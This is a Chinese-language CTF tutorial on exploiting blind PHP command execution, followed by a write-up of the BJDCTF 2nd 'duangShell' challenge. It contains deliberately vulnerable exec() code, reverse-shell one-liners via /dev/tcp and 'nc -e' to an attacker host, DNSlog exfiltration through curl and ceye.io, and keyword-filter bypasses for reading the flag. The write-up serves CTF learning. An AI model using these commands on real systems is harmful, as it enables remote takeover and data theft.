RCE篇之無回顯rce
在ctf中,有時會遇到無回顯rce,就是說雖然可以進行命令執行,但卻看不到命令執行的結果,也不知道命令是否被執行,藉著這次總結rce的機會,就把它一起總結了
測試程式碼如下:
<?php highlight_file(__FILE__); $a=$_GET['a']; exec("$a"); //$b=exec("$a"); //echo $b; ?>
命令執行函式我用的是exec
,因為這個函式本身是沒有回顯的,拿來做測試簡直不能再合適,想了解這個函式可以看這裡:https://www.php.net/manual/zh/function.exec.php 這裡我們直接輸入命令是沒有回顯的:
我們首先用sleep命令看看命令是否被成功執行了,看下圖它轉了五秒之後才恢復說明命令是執行了的:
1.反彈shell
遇到這種無回顯的命令執行,很常見的一個思路是反彈shell,因為它雖然不會將命令執行的結果輸出在螢幕上,但實際上這個命令它是執行了的,那我們就將shell反彈到自己伺服器上,然後再執行命令肯定就可以看到回顯了
一般來講我們反彈shell都用的bash -i >& /dev/tcp/ip/port 0>&1
這條命令,但這裡我不知道哪裡出了問題,在docker中可以成功反彈但放到php命令執行中就反彈不了了,所以說無奈之下我就只能使用nc
進行反彈,但其實這是很不實用的,因為很多docker中都沒有安裝nc
,這裡就先演示一下用nc
反彈,利用nc -e /bin/sh ip port
2.dnslog外帶資料法
首先講講dns,這裡用一個比較官方的解釋吧,摘自百度百科:
DNS(域名解析):
域名解析是把域名指向網站空間IP,讓人們通過註冊的域名可以方便地訪問到網站的一種服務。IP地址是網路上標識站點的數字地址,為了方便記憶,採用域名來代替IP地址標識站點地址。域名解析就是域名到IP地址的轉換過程。域名的解析工作由DNS伺服器完成。
域名解析也叫域名指向、伺服器設定、域名配置以及反向IP登記等等。說得簡單點就是將好記的域名解析成IP,服務由DNS伺服器完成,是把域名解析到一個IP地址,然後在此IP地址的主機上將一個子目錄與域名繫結。
而如果我們發起請求的目標不是IP地址而是域名的話,就一定會發生一次域名解析,那麼假如我們有一個可控的二級域名,那麼當它向下一層域名發起解析的時候,我們就能拿到它的域名解析請求。這就相當於配合dns請求完成對命令執行的判斷,這就稱之為dnslog。當然,發起一個dns請求需要通過linux中的ping
curl
命令哈
然後這裡推薦一個dnslog的利用平臺:ceye http://ceye.io/,我個人覺得挺好用的,當然大佬們也可以選擇自己搭,註冊賬號之後,會給一個域名,當發起的請求中含有這個域名時,平臺就會有記錄。好了,鋪墊結束,下面正式開始測試:
還是這一段程式碼,我們用分號;
作為命令的分隔符,然後發起curl
請求,然後最後用反引號執行命令,具體如下:
然後就可以到ceye平臺上取看到我們發起的請求了,可以看到whoami
的結果也已經在上面顯示了出來:
然後我們就嘗試執行其它的命令比如像ls
之類的,但這裡需要注意的一點是,如果我們直接執行ls
的話,它只會返回第一條結果,具體如下圖所示:
那麼為了讓它顯示出剩餘的結果,我們就需要用到linux的sed
命令,用sed
命令就可以實現對行的完美劃分,這裡利用題目不是很好演示,我就直接用kali進行演示,就像下圖一樣直接用就行,還是很方便的:
這樣就可以完成任意的命令執行了,但是值得注意的是,因為有的字元可能會無法顯示或者只顯示部分資訊,所以說執行命令的時候推薦使用base64編碼,然後再解開就好:
例題解析——-BJDCTF 2nd duangShell
這道題buuctf上可以復現,先用kali恢復swp檔案,然後得到原始碼:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>give me a girl</title> </head> <body> <center><h1>珍愛網</h1></center> </body> </html> <?php error_reporting(0); echo "how can i give you source code? .swp?!"."<br>"; if (!isset($_POST['girl_friend'])) { die("where is P3rh4ps's girl friend ???"); } else { $girl = $_POST['girl_friend']; if (preg_match('/\>|\\\/', $girl)) { die('just girl'); } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) { echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->"; } else { //duangShell~~~~ exec($girl); } }
可以看到,這就是一個有過濾情況下的無回顯rce,雖然是看起來過濾的比較多,基本思路是反彈shell,但這個靶機在內網操作起來可能有點麻煩,而且像一些重要的比如curl
反引號
都沒有被過濾掉,所以說我想嘗試直接把資料外帶出來,先嚐試whoami
發現沒問題:
那就說明除了上面那些被禁的函式以外,可以執行任何命令,不過禁了ls是真的煩,然後由於它禁了$
,上篇文章中講到的找flag的語句cat $(find / -name flag*)
就用不了了,我先盲猜一下它在根目錄下名字叫flag,試試行不行,cat
被過濾掉了我就直接用tac
,這個問題不大,發現還真有這個檔案:
只不過嘛,這個內容就很狗,還要讓自己去找flag,那我就試試用find
去找,說實話這時候我心裡也沒底,只能說試試,用的這條語句 find / -name flag
:
不過運氣是真的好哈哈哈,直接出來了路徑,那就穩了啊,直接讀它就完事兒了:
出來了出來了,加上{}
就是最終的flag,不過我看wp的時候方法都是用反彈shell做的,不知道我這種算不算非預期解,想了解那種方法的可以自行百度,這裡也推薦兩篇文章: